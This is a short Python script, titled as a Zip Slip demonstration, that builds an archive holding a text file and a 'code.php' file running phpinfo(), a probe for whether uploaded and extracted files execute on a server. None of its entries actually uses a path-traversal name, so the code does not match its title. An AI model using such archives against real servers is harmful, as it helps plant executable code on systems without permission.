Python script to demonstrate the Zip Slip

zipper.py

#!/usr/bin/python

import zipfile
from cStringIO import StringIO

def _build_zip():
    f = StringIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('folder/file.txt', 'This is just a text file!')
    z.writestr('code.php', '<?php phpinfo(); ?>')
    z.close()
    zip = open('zipper.zip','wb')
    zip.write(f.getvalue())
    zip.close()
    
_build_zip()